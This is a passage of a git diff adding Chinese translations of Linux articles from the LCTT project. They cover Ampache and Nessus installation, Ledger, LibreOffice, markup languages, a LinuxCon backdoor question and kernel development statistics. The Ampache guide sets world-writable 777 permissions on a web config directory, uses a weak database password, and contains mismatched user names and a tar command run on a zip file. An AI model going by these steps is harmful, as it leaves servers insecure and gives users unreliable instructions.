6.4上安装LAMP(Apache, MariaDB, PHP)服务。][2] + +或者 + +- [在CentOS 6.4上安装LAMP(Apache, MySQL, PHP)服务。][3] + +> 译者注:注意,两种安装方式的数据库是不同的 + +接着安装PHP模块。 + + # yum install php-mcrypt php-pdo php-cli php-mysql php-gd php-xml libtool-ltdl mhash mcrypt -y + +###为Ampache创建数据库用户 + +例如, 这里,我将要创建一个名为“**ampachedb**”的数据库用户和“**ampachedb**”用户的密码为“**centos**”的数据。你可以根据你的喜好来定义数据库。 + + # mysql -u root -p + Enter password: + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 3 + Server version: 5.5.31-MariaDB MariaDB Server + + Copyright (c) 2000, 2013, Oracle, Monty Program Ab and others. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + + MariaDB [(none)]> create database ampachedb; + Query OK, 1 row affected (0.02 sec) + + MariaDB [(none)]> GRANT ALL ON ampachedb.* TO ampacheuser@localhost IDENTIFIED BY 'centos'; + Query OK, 0 rows affected (0.01 sec) + + MariaDB [(none)]> flush privileges; + Query OK, 0 rows affected (0.00 sec) + + MariaDB [(none)]> exit + Bye + +###调整防火墙/路由器的设置 + +允许apache的默认端口“80”通过防火墙/路由器。编辑 /etc/sysconfig/iptables 文件, + + # vi /etc/sysconfig/iptables + +添加下面这行。 + + -A INPUT -p tcp -m state --state NEW --dport 80 -j ACCEPT + +现在重启防火墙(iptables)服务。 + + # /etc/init.d/iptables restart + +###获取Ampache + +[在这下载Ampache][4]最新版本或者从你的终端输入以下命令去下载。 + + # wget https://github.com/ampache/ampache/archive/3.6-alpha6.zip + +**注释:** 这里你可以使用以下两种方法来访问你的流媒体服务网站。 + +1. 直接从网站根目录访问, 这样你可以通过导航到**http://domain-name/**来访问你的网站。 + +2. 另外,你可以在网站根目录和主机网站子目录中创建一个子目录,这样你可使用URL**http://domain-name/sub-directory-name**成功访问你的网站。 + +此时, 因为测试目的,我将要在sub目录下访问我的流媒体网站。 + +用命令解压下载后的文件: + + # tar -zxvf 3.6-alpha6 + +移动ampache目录到apache根目录。 + + # mv ampache-3.6-alpha6/ /var/www/html/ampache + +设置ampache/config目录的写入权限。 + + # chmod -R 777 /var/www/html/ampache/config/ + +###开始安装 + +打开浏览器在地址栏中输入**http://domain-name/ampache**或**http://ip-address/ampache**。 + +将会出现下面界面。点击**Start configuration(开始配置)**。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Ampache-Pour-lAmour-de-la-Musique-Install-Mozilla-Firefox_001.png) + +输入MySQL数据库,用户和密码等详细资料。因为我们创建了数据库,所以确保你选中了“**Overwrite existing database(覆盖现有的数据库)**”复选框。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Ampache-Pour-lAmour-de-la-Musique-Install-Mozilla-Firefox_004.png) + +输入最近创建的MySQL数据库,用户和密码等详细资料。点击 **write**生成**ampache.config.php**文件和点击**Continue to step 3**按钮。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Ampache-Pour-lAmour-de-la-Musique-Install-Mozilla-Firefox_006.png) + +现在你将被要求设置**admin**用户密码。输入密码并且点击**Create Account(创建账户)**。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Ampache-Pour-lAmour-de-la-Musique-Install-Mozilla-Firefox_008.png) + +最后,Ampache将要求你更新到最新版本。点击Update(更新)。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Ampache-Update-Mozilla-Firefox_010.png) + +对了,就是这样!现在你已经成功安装Apmache。为进一步配置,我建议你阅读官方的[Ampache Wiki][5]。 + +via:http://www.unixmen.com/setup-streaming-media-server-ampache/ + + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[Caroline]:http://linux.cn/space/14763 + +[1]:https://github.com/ampache/ampache/ +[2]:http://www.unixmen.com/install-lamp-apache-with-mariadb-and-php-on-centosrhelscientific-linux-6/ +[3]:http://www.unixmen.com/install-lamp-server-in-centos-6-4-rhel-6-4/ +[4]:https://github.com/ampache/ampache/tags +[5]:http://ampache.org/wiki/start \ No newline at end of file diff --git a/published/201309/Install Nessus On Ubuntu.md b/published/201309/Install Nessus On Ubuntu.md new file mode 100644 index 0000000000..a04e6b11df --- /dev/null +++ b/published/201309/Install Nessus On Ubuntu.md @@ -0,0 +1,53 @@ +在ubuntu中安装Nessus漏洞扫描器 +========================= + +对Linux机器的漏洞扫描是保护我们的私人数据安全的最重要步骤。在这篇文章中,我将教你如何在ubuntu上安装,配置和启动Nessus。你想了解你的对象易受到什么样的漏洞影响?那么,读这篇文章来了解Nessus吧. + +###什么是Nessus? + +[Nessus][1] 是一个非常容易部署的漏洞扫描器。已超过千万次的下载数量,并在捆绑解决方案中提供1、2或3年的服务订阅。你想对你的网络执行安全性检查吗? 在大规模的网络安全检查中,Nessus将会是你查找主机和识别漏洞的最好帮手。以下列出Nessus工具的一些功能。一个好消息是,Nessus有两个版本,家庭版和专业版。 家庭版适合个人使用,可以用于非专业的环境。专业版包括了额外的功能,用于商业用途: + +- 广义资产评估 +- 移动设备审计 +- 僵尸网络/恶意进程/反病毒(AV)审计 +- 集成了补丁管理 +- 敏感内容审计 +- 数据采集与监控(SCADA)和控制系统的审计 + +在安装和配置Nessus之前,你需要下载适合你的操作系统的Nessus。[在这里][2]获取。由于这篇文章是介绍在ubuntu上安装和配置Nessus,那么选择linux分类,并且在linux分类下选择ubuntu。 图1显示了我在网上下载的deb包。你可以右键单击deb文件并点击“在ubuntu软件中心打开”,然后, 在ubuntu软件中心点击安装。安装之后我们需要配置Nessus,然后可以使用了。 + +![Figure 1](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Selection_032.png "Figure 1") + +好了,现在你已经安装了Nessus,下面是运行它。打开一个新的终端,你可以通过键入“**/etc/init.d/nessusd start**”运行Nessus 。由于我用的家庭版,我需要一个它的有效许可证。 + +通过命令启动Nessus安装,如图2 所示。 + + +![Figure 2](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Selection_026.png "Figure 2") + +现在添加一个用户,输入命令,如图3所示. + +![Figure 3](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Selection_027.png "Figure 3") + +在图3所示的登录提示框中,输入你想要添加的用户名,在你两次正确输入密码之后,此用户名就成为了管理员。完成之后,通过键入“**/etc/init.d/nessusd start**”命令运行Nessus,在浏览器打开**https://127.0.0.1:8834**登录到Nessus。 + +![img](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Selection_031.png) + +漏扫快乐! + +[译注:本文只是安装简单的安装过程,具体的使用请期待其它文章] + +via http://www.unixmen.com/install-nessus-on-ubuntu/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[Caroline][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[Caroline]:http://linux.cn/space/14763/ + +[1]:http://www.tenable.com/products/nessus +[2]:http://www.tenable.com/products/nessus/select-your-operating-system diff --git "a/published/201309/Is '3\342\200\262 The Latest Member of Canonical\342\200\231s Carrier Advisory Group.md" "b/published/201309/Is '3\342\200\262 The Latest Member of Canonical\342\200\231s Carrier Advisory Group.md" new file mode 100644 index 0000000000..0ccf544971 --- /dev/null +++ "b/published/201309/Is '3\342\200\262 The Latest Member of Canonical\342\200\231s Carrier Advisory Group.md" @@ -0,0 +1,40 @@ +“3”是Canonical公司的运营商咨询组最新成员吗? +=============================================================== + +移动网络运营商“3”最近出现在是Canonical的运营商咨询组(CAG)列表里,这个公司的商标出现在Ubuntu官方网站的CAG部分。 + +但是,目前仍然没有“3”或者Ubuntu的关于CAG的官方确认通告。 + +###关于“3” + +![img](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/3-logo1.jpg) + +“3”很早成为了英国最大的移动运营商,从2003年成为英国的首个3G服务商开始,它为将近900万的顾客提供了服务。 + +而且,它在全球的运营商市场上占有部分份额,与[和记黄埔][1]旗下公司在其他一些国家,包括爱尔兰,奥地利和香港联合运营。 + + +###关于CAG + +CAG可以让对此关注的移动运营商可以提前看到,并讨论和影响Ubuntu Touch的开发进程。 + +CAG的成员身份和设备交付商不同,也就是说,成员们可以得到手机的机密信息、发布日期和其它的发布信息来帮助他们可以做些什么准备工作。 + +另外如果“3”的加入被证实,那么它将会加入到这个快速发展的新手机操作系统的[13个关注的主要运营商列表][2]中。 + + +via: http://www.omgubuntu.co.uk/2013/09/mobile-network-3-joins-ubuntu-carrier-advisory-group + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[神之一手][] 校对:[wxy][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[神之一手]:http://linux.cn/space/14789 +[wxy]:http://linux.cn/space/wxy + +[1]:http://en.wikipedia.org/wiki/Hutchison_Whampoa +[2]:http://www.omgubuntu.co.uk/tag/cag + diff --git a/published/201309/Is Linux the best operating system.md b/published/201309/Is Linux the best operating system.md new file mode 100644 index 0000000000..b7bd67c8d3 --- /dev/null +++ b/published/201309/Is Linux the best operating system.md @@ -0,0 +1,37 @@ +Linux是最好的操作系统吗? +=================================== + +UVU Review 上有一篇称Linux是最好的操作系统的文章。它包括以下几个方面: + +- 价格 +- 可用性 +- 维护和修理 +- 软件和更新 + +> 无意冒犯,我认为我的同事们是错的。Linux是手边用来操作计算机的最佳选择,甚至可以说没什么别的像样的选择。Neal Stephenson说过:“Mac电脑就像是密封式轿车,看起来很棒而且有不少广告。安装Windows的机器是庞大的SUV,经常坏,但到处都能见到它们并且人人会用。而Linux就像是免费的坦克一样,在沼泽中每小时行驶90英里,1加仑油可以行驶100公里,并且不会出故障。” + +> 我用Linux很多年了,从没打算换系统。我们不能找出每一个证明它的优越性的理由,但我总结出了几点。我假设你知道什么是操作系统,同时明白Macintosh,Windows,和Linux都是不同的操作系统。 + +> [UVU Review上的详细内容][1] + +作者提出强有力的理由来证明Linux的好。尽管我认同这篇文章的大多观点,但我仍然很犹豫是否宣布Linux为一个“最好”的操作系统。为什么呢?选择什么操作系统和每个用户的需求息息相关。不同用户的选择会大不一样。 + +Linux可以很好地满足用户的全部需求及其中的一部分。不过话说回来,也可能满足不了。不去挖掘谁是适用的个体以及他们在使用计算机方面究竟有那些日常需要的话,很难概括这些东西。 + +某些情况下,一个全功能计算机可能不是用户的首选。移动设备已经很普及,用户可以通过移动设备使用收发邮件、浏览网页等等之前只能由桌面计算机完成的功能。 + +这当然意味着可以使用Linux(Android, Firefox OS, Ubuntu),但他们也可能选择iOS或者别的什么移动设备操作系统。在移动设备领域,有不少非Linux的选择,所以很可能Linux不会被用户使用,或者说是被错过。 + +回到桌面来说,Linux明显能被大量普及,我也总是推荐人们在虚拟机里试试Linux以此来让人们接触Linux。但我也够现实,知道这不是对每个人都适用。也许OS X 或者 Windows 更适合,这取决于用户的需求。 + +当你真正静下心来想的时候,会发现很难界定什么样的操作系统是“最好”的。不论你怎样定义,都不会影响他人。不过说到底Linux确实值得一试。如果你试试,你就可能会爱上Linux。 + + + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/portal.php) 荣誉推出。 + +译者:[boredivan](http://linux.cn/space/boredivan) 校对:[Caroline](http://linux.cn/space/caroline),[wxy](http://linux.cn/space/wxy) + +via: http://www.itworld.com/operating-systems/372109/linux-best-operating-system + +[1]:http://www.uvureview.com/2013/09/07/linux-is-clearly-the-superior-operating-system/ diff --git "a/published/201309/Ledger \342\200\223 A Powerful Command Line Accounting Tool For Double-Entry Accounting.md" "b/published/201309/Ledger \342\200\223 A Powerful Command Line Accounting Tool For Double-Entry Accounting.md" new file mode 100644 index 0000000000..a3fafcec57 --- /dev/null +++ "b/published/201309/Ledger \342\200\223 A Powerful Command Line Accounting Tool For Double-Entry Accounting.md" @@ -0,0 +1,91 @@ +Ledger-复式记账的一个功能强大的命令行工具 +================================== + +无论你是一个电脑极客还是普通用户,记录账户开销总是必不可少的。虽然在Linux上有很多基于GUI的记账工具(比如 - [GNUCash][1])受到大家欢迎,但是工作在命令行的记账工具是很多用户难以想象的。在本文中,我们将讨论一个功能强大的命令行记账工具-**Ledger**。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/ledger-main.png) + +###Ledger - 复式记账工具 + +Ledger是复式记账的一个功能强大的命令行工具。对于那些不了解“复式(Double-Entry)”的用户,它这意味着每笔交易都必须有一个源。站在一个外行的角度来看,这意味着,每做成一笔账户信贷,一个账户必须有一个借记卡。所以,Ledger跟踪资金运转并且帮助你了解你的开支。 + +Ledger没有自己的数据库,它依赖于通过用户维护一个开支表(一个简单的文本文件)。不过开支表有一种Ledger能够理解的特殊格式。 + +例如,下图是我准备的一个简单的开支表: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/ledger-11.png) + +几个值得注意的要点: + +* 分类之下的所有行是tab缩进(例如 - Shopping,Leisure或EMI)。 +* 同样,所有的开支金额也是tab缩进(包括:$)。 +* 作为复式记账工具,制定信用卡和借记卡是很重要的,否则Ledger将会报错。 + +###简短教程 + +当你准备好了费用表,参照下图来了解怎样检查总体费用。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/ledger-2.png) + +所以,通过**-f 选项**你可以看到,你可以指定你的开支表的名称并且balance是Ledger的一个命令,它能够处理明确显示的总付款记录。另外,借记卡支付显示为红色,支出显示为白色。 + +正如前面所讨论的,Ledger要求用户输入正确的借方贷方详细信息。下面是一个当费用表中提到了错误账户对应关系时的示例: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/ledger-3.png) + +我只是把鞋子的购物费用从$50改到$60,但是没改变付款价格。正如你看到的,Ledger显示了“**Transaction does not balance**“错误。 + +除了balance命令,你可以用**register**命令去显示所有条目对应的报表查询。 + +例如: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/ledger-4.png) + +所以,你可以从上面示例中看到 - **register**命令是用来shopping报表查询,所有有关这一类的交易都在输出中显示。 + +这只是冰山一角,Ledger提供很多其他选项值得一试(包括:report generation)。更多内容访问[手册页][2]。 + +**优点** + +* 强大且功能丰富的记账工具 +* 便于使用 +* 彩色输出 + +**缺点** + +* 开支文件需要分别维护 +* 有一定的学习曲线 + +###下载/安装 + +下面是一些有关Ledger命令行工具的重要链接: + +* [主页][3] +* [下载][4] +* [文档][5] +* [一个在LWN上的详细综述][6] + +Ubuntu用户可以通过Ubuntu软件中心下载和安装这个工具。这篇文章使用的版本是3.0。 + +###总结 + +Ledger是一个智能小巧的命令行实用程序用来管理你的开支。你可以用它来管理日常以及复杂的业务账户。虽然它有一定的学习曲线,但是它拥有各种功能,在学习使用Ledger中投入一点努力是值得的。 + + +via: + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[Caroline]:http://linux.cn/space/14763 + +[1]:http://www.gnucash.org/ +[2]:http://www.ledger-cli.org/3.0/doc/ledger.1.html +[3]:http://www.ledger-cli.org/ +[4]:http://www.ledger-cli.org/download.html +[5]:http://www.ledger-cli.org/2.6/ledger.pdf +[6]:http://lwn.net/Articles/501681/ \ No newline at end of file diff --git a/published/201309/Libreoffice 4.1.1 Released, Install It On Ubuntu And Linux Mint.md b/published/201309/Libreoffice 4.1.1 Released, Install It On Ubuntu And Linux Mint.md new file mode 100644 index 0000000000..1367d8e27d --- /dev/null +++ b/published/201309/Libreoffice 4.1.1 Released, Install It On Ubuntu And Linux Mint.md @@ -0,0 +1,49 @@ +Libreoffice 4.1.1已发布,及在Ubuntu和Linux Mint平台安装方法 +====================================================== + +LibreOffice为您提供了六项功能丰富的应用程序以适合您的文档和数据处理需要,它们包括:Writer、Calc、Impress、Draw、Math和Base。LibreOffice是什么样的软件?我知道这个问题对于大多读者是很容易回答的,但是随着我们的爱好者与日俱增,我猜想有很多人并不了解Linux以及开源,所以我觉得我有必要提供一些有关LibreOffice的信息。 + +LibreOffice是一个运行在Linux、Windows和Mac操作系统的简单而强大的开源软件。有很多的志愿者帮助完成LibreOffice这个项目,他们担任着不同的角色,从工程任务到社区支持,还有创造性的工作。 + +下面是新闻播报: + +[LibreOffice 4.1.1][1] 已经发布,这个版本有了很多的改进功能和错误修正。LibreOffice 4.1.1不再兼容老式的StarOffice(sun的office)的二进制文件,及不再输出老式的Word和Excel文件。并解决了一个有趣的BUG —— fdo#67388 —— .deb包的文件属主不再是 root:root 了。 + + +**新特性和修复** + +- 关闭'首页相同内容'的选项不再显示在界面上 +- 不能在Writer中选择其它填充色 -> Drawing 功能 +- REPORTBUILDER(报告生成器):一些选项列表中的标签显示与功能不匹配 +- 当检查扩展更新时出现4.1段错误 +- FILESAVE: 保存为XLS文件格式遗漏保存cell表达式的公式的结果错误 +- 字体样式没有储存在ODG和ODP文件: 编辑一个样式之后,关闭再打开,样式会改变 +- 不能保存新的自动更正词条 +- MAILMERGE: 在LO 4.1.0.4中预先定义的标签不包含格式信息 +- EDTING: BUG: calc 拼写检查崩溃. +- 在libvclplug_gtklo.so中被信号11(SIGSEGV)killed的soffice.bin发生段错误 +- GCJ Java Variant数据已知与LibreOffice有影响,我们建议使用OpenJDK来代替 +- LibreOffice 4.x 丢掉了一些长期弃用的功能,其中包括对老式的StarOffice二进制文件的支持、导出老式的Word和Excel(6.0/95版本)以及老式的ODMA文档管理 +- 已更改或添加了一些菜单项。如果你丢失了一些东西,可能是由于你使用了以前的LibreOffice安装中的定制菜单设置. + +那LibreOffice 4.1.1怎样安装呢?打开终端并复制以下命令,这样就可以把LibreOffice安装到Ubuntu或Linux Mint。 + + $ sudo add-apt-repository ppa:libreoffice/libreoffice-4-1 + + $ sudo apt-get update + + $ sudo apt-get install libreoffice + + +via: http://www.unixmen.com/libreoffice-4-1-1-released-install-ubuntu-linux-mint/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf01][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf01]:http://linux.cn/space/flsf01 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://www.libreoffice.org/download/release-notes/ diff --git a/published/201309/Lightweight Markup Languages.md b/published/201309/Lightweight Markup Languages.md new file mode 100644 index 0000000000..1304200ecf --- /dev/null +++ b/published/201309/Lightweight Markup Languages.md @@ -0,0 +1,43 @@ +轻量级标记语言 +=========== + +轻量级标记语言是一种时髦的系统语言,它用不同的方式标注文档,并且设计了简单易读的语法。事实上,它的语法非常之简单以至于任何人都能快速的掌握这些标记语言。这类语言最大的优点在于,用户使用一个普通的文本编辑器就可以在源文档中方便的输入注释文本。 + +这类语言使用简单的格式以及几个简单的特殊字符或字符串来标记段落标题、列表、表格、引用、字体等内容。 + +轻量级标记语言有许多用处。我们的生活被电子邮件、便笺、文章、报道以及推特包围着。许多人会先写好文本,然后重新排列、重新使用这些文本。轻量级标记语言在这方面非常有用,节约了大量手工敲打html标记的时间,加快了文字处理的速度。当读者想要阅读源文件和已输出文档时,他们也具有很强大的可读性。此外,他们也被频繁的使用于基于网络的出版物中,包括维基和博客等。 + +通过使用这些开源的工具,用户能够在很短的时间里做出高质量的注释文本,这不需要任何成本。代码完全是可移植的,并且可以输出成各种格式的文档。 + +现在,让我们来看看7个最常用的轻量级标记语言。下面每一个语言的标题都带有指向他自己首页的链接,里面有详细的描述,包括它本身语言特点的深度分析,以及一些相关资源的链接和评论。 + +- **[Markdown][1]** --标记语言以及文本到HTML的转换工具 +- **[MultiMarkdown][2]** --基于Markdown但具有更多功能 +- **[AsciiDoc][3]** --漂亮的文本文档格式用于写作 +- **[Textile][4]** --被称为“人类网络文本生成器” +- **[Texy][5]** --文本到XHTML格式化和转化库 +- **[Tome][6]** --作者的标记语言和工具包 +- **[reStructuredText][7]** --Docutils的标记语法分析组件 + + + +--- + +via: http://www.linuxlinks.com/article/20130921022758982/LightweightMarkupLanguages.html + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[markvv][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[markvv]:http://linux.cn/space/markvv +[Caroline]:http://linux.cn/space/14763 + +[1]:http://daringfireball.net/projects/markdown/ +[2]:http://fletcherpenney.net/multimarkdown/ +[3]:http://www.methods.co.nz/asciidoc/ +[4]:http://textile.sitemonks.com/ +[5]:http://texy.info/en/ +[6]:https://bitbucket.org/bmearns/tome/ +[7]:http://docutils.sourceforge.net/rst.html diff --git a/published/201309/Linus Torvalds Talks About Backdoor At LinuxCon.md b/published/201309/Linus Torvalds Talks About Backdoor At LinuxCon.md new file mode 100644 index 0000000000..6965e458fd --- /dev/null +++ b/published/201309/Linus Torvalds Talks About Backdoor At LinuxCon.md @@ -0,0 +1,42 @@ +Linux有后门?看Linus Torvalds在LinuxCon大会上怎么说 +================================================================================ + +**LinuxCon大会**是北美每年一度的Linux盛事,这里集合了开发者、系统管理员、架构师以及各个水平的技术天才,他们就Linux未来的发展共同商讨教育、合作以及问题的解决之道。 + +**都有哪些人参加?** + +- **开发人员** —— 软件开发人员、程序员、核心维护者以及Linux方面的IT专家 +- **运维人员** —— IT运维专家、系统管理员以及首席架构师 +- **商界&法律界人士** —— 企业末端用户,公司高管和法律顾问 +- 另外还有学生、媒体、分析师和对Linux生态系统感兴趣的其他相关行业的专家 + +今年的LinuxCon大会于9月19日星期四在新奥尔良举办,Linux内核之父 **Linus Torvalds** 也出席了本次大会,他还作为Linux内核开发座谈小组的一员,回答了大量有关Linux发展的问题。座谈小组另外三人为 **Tejun Heo、Sarah Sharp和Greg Kroah-HartMan** 。座谈会由Ric Wheeler主持,他是红帽负责内核文件与储备团队的高级经理。 + +Ric给座谈小组提出了很多问题,其中一个问题是,是否有政府的代理商曾要求在Linux中植入后门。这个问题在讨论开始后的第25分钟被提出来,问题一经提出,整个会场顿时鸦雀无声。这是什么情况?沉默究竟意味着什么?小组成员是打算以沉默代替回答吗? + +突然间,人们听见了一声低沉悠长而又有力的‘NO’。不是别人,正是Linus Torvald本人的回答。他微笑着(译注,回答“NO”的时候同时大力点头)回答了这个所有Linux用户都关心的问题。紧接着,他伴着一个意味深长表情又严肃地说了一个‘no’。这第二个no是什么意思?到底代表‘no’还是代表‘yes’?亲爱的读者们,你们认为NSA会在Linux里植入后门么?虽然我不这么认为,但是我还是想知道各位读者的意见,请在评论中告诉我。另外,分享本文给其他Linux用户之余,请不要忘了看看下面的的视频,有时仅靠文字并不代表你能看清一切。(作为一个负责任的译者,视频我看了,真相就在Linus的表情动作上!) + +**视频地址:** + +- [LinuxCon & CloudOpen North America 2013 – Linux 内核讨论小组][1] (关于后门的问题在24分15秒) + +(译者注,youtube视频需翻墙,我们也搬运了一份回来,墙内参看下面:http://static.video.qq.com/TPout.swf?vid=x0118v8m6k6&auto=1) + + +大会官网: +- [http://events.linuxfoundation.org/events/linuxcon-north-america][2] + + +via: http://www.unixmen.com/linus-torvalds-talks-backdoor-linuxcon/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://www.youtube.com/watch?v=84Sx0E13gAo&noredirect=1 +[2]:http://events.linuxfoundation.org/events/linuxcon-north-america diff --git a/published/201309/Linux Kernel 3.4.62 LTS Is Now Available for Download.md b/published/201309/Linux Kernel 3.4.62 LTS Is Now Available for Download.md new file mode 100644 index 0000000000..01bd6ecfaf --- /dev/null +++ b/published/201309/Linux Kernel 3.4.62 LTS Is Now Available for Download.md @@ -0,0 +1,30 @@ +Linux Kernel 3.4.62 LTS 现已经提供下载 +=================================== + +![](http://i1-news.softpedia-static.com/images/news-700/Linux-Kernel-3-4-62-LTS-Is-Now-Available-for-Download.jpg?1379311927) + +**著名的Greg Kroah-Hartman 宣布,LTS(长期支持) Linux 3.4 内核的全新维护版本已发布,并已提供下载。** + +Linux 内核的3.4.62 LTS版本是一个小版本更替, 它带来了x86构架和M32R构架(32位的RISC CPU)下一些错误的修正,一些网络相关的驱动文件的更新,以及大量网络方面(特别是IPv6和IPv4)的提升。 + +"我很高兴地宣布3.4.62内核的发布,所有使用3.4版本内核的用户都应该升级。" + +"这次更新的git资源在这里:git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git linux-3.4.y ,也可以在 kernel.org的git web 网站看到: http://git.kernel.org/?p=linux/kernel/git/stable/linux-stable.git;a=summary," Greg Kroah-Hartman 在他的 [官方版本说明](https://lkml.org/lkml/2013/9/14/73) 中提到。 + +现在就可从softpedia [下载 Linux内核 3.4.62 LTS](http://linux.softpedia.com/get/System/Operating-Systems/Kernels/Linux-Kernel-3-x-3022.shtml). + +友情提示:Softpedia上还有Linux 内核 3.11.1, 3.10.12 LTS 和 3.0.96 LTS 可供下载。 + + +via:http://news.softpedia.com/news/Linux-Kernel-3-4-62-LTS-Is-Now-Available-for-Download-383152.shtml + + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Chilledheart][] 校对:[jasminepeng][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Chilledheart]:http://linux.cn/space/Chilledheart +[jasminepeng]:http://linux.cn/space/jasminepeng diff --git a/published/201309/Linux development by the numbers--Big and getting bigger.md b/published/201309/Linux development by the numbers--Big and getting bigger.md new file mode 100644 index 0000000000..ee75e1d292 --- /dev/null +++ b/published/201309/Linux development by the numbers--Big and getting bigger.md @@ -0,0 +1,76 @@ +透过数字看Linux的快速发展 +====================== + +**不论从哪种评价指标(程序开发人员数量、更新次数以及每小时变化次数)看,都可看出这个开源的操作系统项目在稳定地成长。** + +![](http://asset0.cbsistatic.com/cnwk.1d/i/tim2/2013/09/17/Linux-developers-contributing_610x342.png) +(数据来自Linux 基金会; 图表由 Stephen Shankland/CNET 提供) + +_在2011-7-21 Linux发布3.0版本到2013-6-30发布3.10版本的过程中,其开发人员数量一直保持着稳定地增长。_ + +###过去我们知道Linux一直在成长,现在我们认识到Linux如何快速地成长 + +根据Linux基金会最新的[Linux年度开发报告][1],在过去的两年中,合作打造Linux的开发人员数量从2011年7月3.0版本的1131人上升到2013年6月3.10版本的1392人。同时增长的还有:项目代码的行数,每个新版本发生的改变数量和这些改变的频次。 + +研究总结指出,“越来越多的开发人员和公司参与到开发过程中,使得变更的速度持续加快,就目前来看,开发速度毫不费力可以达到更快。” + +![](http://asset1.cbsistatic.com/cnwk.1d/i/tim2/2013/09/17/Linux-lines-of-code_610x377.png) +(数据来自Linux 基金会; 图表由 Stephen Shankland/CNET 提供) + +_Linux是一个庞大的项目,而且在其不断扩展到新的硬件时变得越来越大,该项目在3.10版本中已经包含将近1700万行代码的。_ + +技术上来说,Linux只是Linux这个开源操作系统中心部分内核的统称,还尚未取得像windows或iOS这类操作系统的用户广泛认知程度。然而,它的影响力仍在持续增长:它提供了对几乎任何事物的支持,从Facebook的庞大数据中心到Google的Android。 + +[Linux基金会][2]年会发布的粗略统计反应了其实用性。该组织聘请了Linux的创始人和监管人Linux Torvalds以及其他人,于星期五发布了其2013年9月份的报告。该基金会使用Torvalds因不满足之前的源代码管理工具而编写的Git源代码管理工具来进行跟踪统计。(Git现在已超越Linux,得到更广泛的应用,因为越来越多的人发现它在管理多开发人员的开发项目上的实用性。) + +Linux自己本身可能是这样一个广泛分布项目最好的样例。2013年6月30日发行的最新3.10版本内核,接受了来自243家公司的1392个开发人员的更新提交,这一数据超过了2011年7月21日发布3.0版本时的191家公司的1131个开发人员数。 + +![](http://asset3.cbsistatic.com/cnwk.1d/i/tim2/2013/09/17/Linux-corporate-contributors.png) +(来源: Linux 基金会) + +_Linux基金会列出了为Linux内核做出贡献最多的前几个公司。_ + +报告指出,“自从git时代开始(2005年发行2.6.11版本),总共有9784个开发人员为Linux内核做出了贡献。” + +当然,上述数据并没有呈现均匀地分布,一小部分的程序员贡献了内核中的大部分代码补丁,反之亦然。 + +报告还指出,“在任何指定的开发周期中,大约1/3的开发人员都是贡献一个补丁。从2.6.11发行版开始,前十个开发人员贡献了30420个更新(占总数的8.4%),前三十个开发人员贡献了超过总数约18%的部分。” + +![](http://asset3.cbsistatic.com/cnwk.1d/i/tim2/2013/09/17/Linux-companies-contributing_610x402.png) +(来源: 数据来自Linux 基金会,图表由 Stephen Shankland/CNET 提供) + +_两年前,191个公司为Linux的创造做出了贡献,现在这个数字上升到了243,虽然在最顶峰时期的2012年9月的3.6版本中曾达到过298._ + +有人将开源软件认为是一个业余现象,而且可以确认的是该现象大量地存在。但是现在Linux最主要的大部分工作是由支付薪水的专业人员完成的。 + +就被Linux接受的补丁数目来说,前十名的贡献者为 Red Hat(红帽子)、Intel(因特尔)、Texas Instruments(德州仪器)、Linaro、SUSE、IBM、Samsung(三星)、Google、Vision Engraving System 和 Wolfson Microelectronics。其他的开发者中,移动技术公司包括 Texas Instruments,Samsung,Google和Qualcomm,在去年实现的64位ARM处理器的支持中扮演了重要的角色,而且也使得Google的Andoid团队和其他核心开发人员之间的冲突得到了解决。 + +![](http://asset1.cbsistatic.com/cnwk.1d/i/tim2/2013/09/17/Linux-changes-per-hour_610x406.png) +(来源: 数据来自Linux 